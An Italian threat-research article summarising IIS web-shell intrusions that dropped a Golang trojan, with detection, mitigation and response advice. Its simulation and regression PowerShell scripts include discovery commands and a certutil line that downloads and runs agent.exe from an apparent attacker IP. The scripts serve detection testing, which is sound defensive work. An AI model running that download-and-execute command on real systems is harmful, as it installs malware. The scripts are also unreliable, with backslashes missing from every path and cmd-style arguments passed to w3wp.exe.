SOC Prime Bias: Critico

29 Dec 2025 09:37 UTC

Prova, Errore e Tipi: Perché Alcuni Attacchi Malware Non Sono Così ‘Sofisticati’ Come Pensi

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
Prova, Errore e Tipi: Perché Alcuni Attacchi Malware Non Sono Così ‘Sofisticati’ Come Pensi
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

L’articolo descrive tre incidenti separati in cui un attore di minaccia ha sfruttato server web IIS compromessi per scaricare ed eseguire un Trojan basato su Golang (agent.exe) sugli endpoint delle vittime. Gli attaccanti hanno tentato ripetutamente l’esecuzione, utilizzato certutil per recuperare i payload e successivamente aggiunto esclusioni di Windows Defender prima di tentare di stabilire la persistenza tramite un servizio Windows. La rilevazione è stata ottenuta tramite log EDR e Sysmon, che hanno catturato le linee di comando, gli alberi dei processi e l’attività di rete. Gli attacchi illustrano come gli avversari si adattino agli ostacoli difensivi piuttosto che seguire un piano perfetto.

Indagine

Gli analisti di Huntress hanno esaminato i registri degli eventi di Windows, gli eventi Sysmon e i registri dei server web IIS per ricostruire la catena d’attacco. Hanno identificato l’esecuzione iniziale della web-shell tramite w3wp.exe, osservato comandi malformati, tentativi ripetuti di consegna del payload e la creazione di un servizio chiamato WindowsUpdate che non è riuscito ad avviarsi. Sono stati raccolti e correlati attraverso i tre incidenti vari indicatori come percorsi dei file, linee di comando e connessioni di rete.

Mitigazione

Le mitigazioni chiave includono il rafforzamento dei server IIS, la restrizione dell’esecuzione della web-shell, l’applicazione di liste di autorizzazione rigorose per le applicazioni, il monitoraggio per l’uso anomalo di LOLBins come certutil e PowerShell e l’assicurarsi che le esclusioni di Windows Defender non siano create in modo arbitrario. Si raccomanda anche l’isolamento rapido degli host compromessi e la rimozione di strumenti scaricati come GotoHTTP.

Risposta

Una volta rilevato, i rispondenti dovrebbero isolare l’endpoint interessato, raccogliere i log completi dell’albero dei processi e di rete, eliminare eventuali binari dannosi, ripristinare esclusioni non autorizzate di Windows Defender e verificare fallimenti nella creazione del servizio. Condurre una revisione approfondita del server web per le pagine compromesse e ruotare tutte le credenziali compromesse.

Flusso di attacco

Esecuzione Simulazione

Prerequisito: Il controllo preliminare del Telemetry & Baseline deve essere passato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrativa dell’Attacco & Comandi:
    Un attaccante che ha già ottenuto l’esecuzione del codice su un server IIS compromesso sfrutta il w3wp.exe processo (il worker IIS) per eseguire una serie di proxy di binari firmati. Innanzitutto, enumerano lo stato del sistema e della rete (whoami.exe, netstat -an, ipconfig /all). Poi usano certutil.exe per scaricare un payload dannoso (agent.exe) da un server C2 remoto ed eseguirlo immediatamente nella directory utente pubblica. Tutti i comandi sono emessi tramite cmd.exe /c lanciato nel contesto di w3wp.exe, assicurandosi che l’evento di creazione del processo soddisfi le condizioni della regola.

    # 1. Enumerare le informazioni di sistema/utente
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
    
    # 2. Scaricare un payload dannoso tramite certutil e eseguirlo
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow
  • Script di Test di Regressione: Lo script qui sotto automatizza l’intera catena d’attacco, riproducendo la telemetria esatta che dovrebbe attivare la regola Sigma.

    <#
    .SYNOPSIS
        Simula l'attività dell'avversario che attiva la regola Sigma "Rilevare l'esecuzione della linea di comando dal processo del server web".
    .DESCRIPTION
        Esegue una serie di comandi di scoperta e di download e esecuzione da w3wp.exe (processo worker di IIS).
        Eseguito su un host Windows dove l'auditing della creazione dei processi (ID Evento 4688) è abilitato.
    #>
    
    # Funzione per invocare un comando tramite w3wp.exe
    function Invoke-W3wpCommand {
        param (
            [Parameter(Mandatory=$true)]
            [string]$CmdLine
        )
        Write-Host "Invocando tramite w3wp.exe: $CmdLine"
        Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
    }
    
    # 1. Comandi di scoperta (MITRE T1033, T1016, T1069.001)
    $discoveryCommands = @(
        "whoami.exe",
        "netstat -an",
        "net user admin$",
        "ipconfig /all",
        "net localgroup administrators"
    )
    foreach ($cmd in $discoveryCommands) {
        Invoke-W3wpCommand -CmdLine $cmd
        Start-Sleep -Seconds 2
    }
    
    # 2. Download e esecuzione malevola (MITRE T1218.004)
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Invoke-W3wpCommand -CmdLine $maliciousCmd
  • Comandi di Pulizia: Rimuovere il payload scaricato e terminare eventuali processi vaganti.

    # Eliminare il binario agent malevolo
    Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
    
    # Opzionalmente fermare l'agent se ancora in esecuzione
    Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force